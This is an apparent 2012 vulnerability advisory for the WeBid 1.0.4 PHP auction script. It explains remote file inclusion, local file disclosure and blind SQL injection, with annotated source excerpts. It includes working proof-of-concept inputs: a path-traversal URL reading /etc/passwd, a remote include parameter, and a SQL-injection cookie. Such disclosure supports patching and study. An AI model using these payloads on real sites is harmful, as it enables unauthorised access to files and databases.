1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 |
:::::::-. ...::::::.:::. ;;, <code>';, ;; ;;;</code>;;;;,<code>;;; </code>[[ [[[[' [[[[[[[[. '[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P'88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-08-17] ################################################ # [ WeBid <= 1.0.4 ] Multiple Vulnerabilities# ################################################ # # Script: "Open source php/mysql fully featured auction script" # # Vendor: http://www.webidsupport.com/ # Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/ # ################################################ # [RFI] ( allow_url_include = On; register_globals = On; ) # PoC: http://localhost/WeBid/loader.php?js=admin/logout.php&include_path=http://localhost/info.txt? # # File: ./WeBid/loader.php (lines: 15-60) #..cut.. # ob_start('ob_gzhandler'); # header("Content-type: text/javascript"); # include 'includes/checks/files.php'; // 1 ( Definition of $file_hashs array ) # if (isset($_GET['js'])) # { #$js = explode(';', $_GET['js']);// 3 js = admin/logout.php (for example) #foreach ($js as $val) #{ # $ext = substr($val, strrpos($val, '.') + 1); // 4 # if ($ext == 'php') // 4 # { #if (check_file($val)) // 5 #{ # include $val;// 10 include admin/logout.php #} # } #..cut.. #} # } # ob_end_flush(); # # function check_file($file) # { #global $file_hashs; // 6 #$tmp = $file_hashs; #$folders = explode('/', $file); // 7 $folders = Array([0] => admin, [1] => logout.php) #foreach ($folders as $val)// 8 This loop checks if parts of $folders are in $file_hashs #{ # if (isset($tmp[$val])) # { #$tmp = $tmp[$val]; # } # else # { #return false; # } #} #return true;// 9 admin/logout.php passed # } #..cut.. # # File: ./WeBid/includes/checks/files.php (lines: 2-19) #..cut.. # $file_hashs = array(// 2 List of files that can be included. #..cut.. #'admin' => array(// 2 # 'logout.php' => 'a0db39b73dcfd29feb1466002c4f59a4', // 2 #..cut.. #), #..cut.. # ); # # File: ./WeBid/admin/logout.php (lines: 16-17) #..cut.. // 11 common.inc.php file contains a definition of $include_path # include '../includes/common.inc.php';// 11 Failed, because loader.php is in root path # include $include_path . 'functions_admin.php'; // 12 *[RFI] $include_path is not set by script #..cut.. // 12 If register_globals is On, we can set $include_path # ################################################ # [Local File Disclosure] ( magic_quotes_gpc = Off; php version < 5.3.4 ) # PoC: http://localhost/WeBid/getthumb.php?fromfile=getthumb.php&w=../../../../../etc/passwd%00 # # File: ./WeBid/getthumb.php (lines: 17-52) #..cut.. # $w = (isset($_GET['w'])) ? $_GET['w'] : '';// 1 # $fromfile = (isset($_GET['fromfile'])) ? $_GET['fromfile'] : ''; // 2 # $nomanage = false; #..cut.. # if (!isset($_GET['fromfile'])) // 3 # { #ErrorPNG('params empty'); #exit; # } # elseif (!file_exists($_GET['fromfile']) && !fopen($_GET['fromfile'], 'r')) // 4 # { #ErrorPNG('img does not exist'); #exit; # } # # if (file_exists($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)))// 5 # { #$img = getimagesize($fromfile); #if ($img[2] == 1) #{ # $img['mime'] = 'image/png'; #} #header('Content-type: ' . $img['mime']); #echo file_get_contents($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)); // 6 *[LFD] #} # } #..cut.. # ################################################ # [Blind SQL Injection] ( magic_quotes_gpc = Off; ) # PoC: # http://localhost/WeBid/contents.php # GET /WeBid/contents.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: pl,en-us;q=0.7,en;q=0.3 # Accept-Encoding: gzip, deflate # Connection: keep-alive # Cookie: WEBID_ONLINE=-1' OR 1=1-- # # File: ./WeBid/contents.php (lines: 15, 38) #..cut.. # include 'includes/common.inc.php'; #..cut.. # include 'header.php';// 1 #..cut.. # # File: ./WeBid/header.php (line: 26) #..cut.. # $counters = load_counters(); // 2 #..cut.. # # File: ./WeBid/includes/functions_global.php (line: 287-320) #..cut.. # function load_counters() // 3 # { #..cut.. #if (!$user->logged_in) #{ # if (!isset($_COOKIE['WEBID_ONLINE'])) # { #$s = md5(rand(0, 99) . session_id()); #setcookie('WEBID_ONLINE', $s, time() + 900); # } # else # { #$s = $_COOKIE['WEBID_ONLINE'];// 4 #setcookie('WEBID_ONLINE', $s, time() + 900); # } #} #..cut.. #$query = "SELECT id FROM " . $DBPrefix . "online WHERE SESSION = '$s'"; // 5 *[SQL] #$res = mysql_query($query); #$system->check_mysql($res, $query, __LINE__, __FILE__); #..cut.. # ### [ dun / 2012 ] ############################# |